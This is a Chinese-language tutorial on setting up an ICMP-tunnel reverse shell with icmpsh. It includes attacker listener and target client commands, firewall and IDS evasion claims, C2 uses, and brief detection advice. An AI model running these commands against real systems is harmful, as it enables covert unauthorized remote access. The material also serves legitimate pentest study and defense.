利用icmpsh建立icmp隧道反弹shell
字数 836 2025-08-15 21:32:08
利用icmpsh建立ICMP隧道反弹Shell技术指南
一、技术概述
ICMP隧道技术是一种利用ICMP协议(Internet控制报文协议)进行数据传输的技术,常用于绕过防火墙限制建立隐蔽通信通道。icmpsh工具通过伪造PING请求/回复报文在网络层传输数据,能够绕过基于代理的防火墙检测。
二、环境准备
1. 所需工具
- icmpsh:主程序可从GitHub获取
https://github.com/inquisb/icmpsh.git - Python-impacket类库:用于处理底层网络协议
2. 系统配置
- 攻击机(Kali Linux)
- 目标机(Windows/Linux)
三、详细操作步骤
1. 攻击机配置
安装icmpsh工具:
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh
安装依赖库:
pip2 install impacket
关闭系统PING响应(防止内核响应干扰):
sysctl -w net.ipv4.icmp_echo_ignore_all=1
注:实验完成后恢复设置将1改为0
2. 启动监听
在攻击机上执行:
python icmpsh_m.py <本机IP> <目标IP>
例如:
python icmpsh_m.py 192.168.110.140 192.168.110.150
3. 目标机配置
将icmpsh客户端程序传输到目标机:
- Windows系统使用icmpsh.exe
- Linux系统使用相应版本
执行客户端:
icmpsh.exe -t <攻击机IP>
例如:
icmpsh.exe -t 192.168.110.140
四、技术原理
-
通信机制:
- 完全基于ICMP协议(网络层)
- 利用PING请求/回复报文封装数据
- 不依赖特定服务或端口
-
隐蔽性优势:
- 绕过基于代理的防火墙检测
- 规避端口过滤规则
- 难以被传统IDS/IPS识别
五、防御措施
-
检测方法:
- 监控异常ICMP流量模式
- 检查PING数据包大小和频率异常
- 分析ICMP载荷内容
-
防护建议:
- 限制ICMP协议出入站规则
- 启用深度包检测(DPI)
- 部署行为分析系统检测异常ICMP通信
六、注意事项
-
实验完成后务必恢复系统设置:
sysctl -w net.ipv4.icmp_echo_ignore_all=0 -
该技术仅限合法授权测试使用,未经授权使用可能违反法律
-
某些现代防火墙已具备ICMP隧道检测能力,实际效果需视目标环境而定
七、扩展应用
- 内网穿透场景
- 受限网络环境下的C2通信
- 绕过网络出口审计
- 结合其他隧道技术增强隐蔽性
注:本文档仅供学习研究使用,请遵守相关法律法规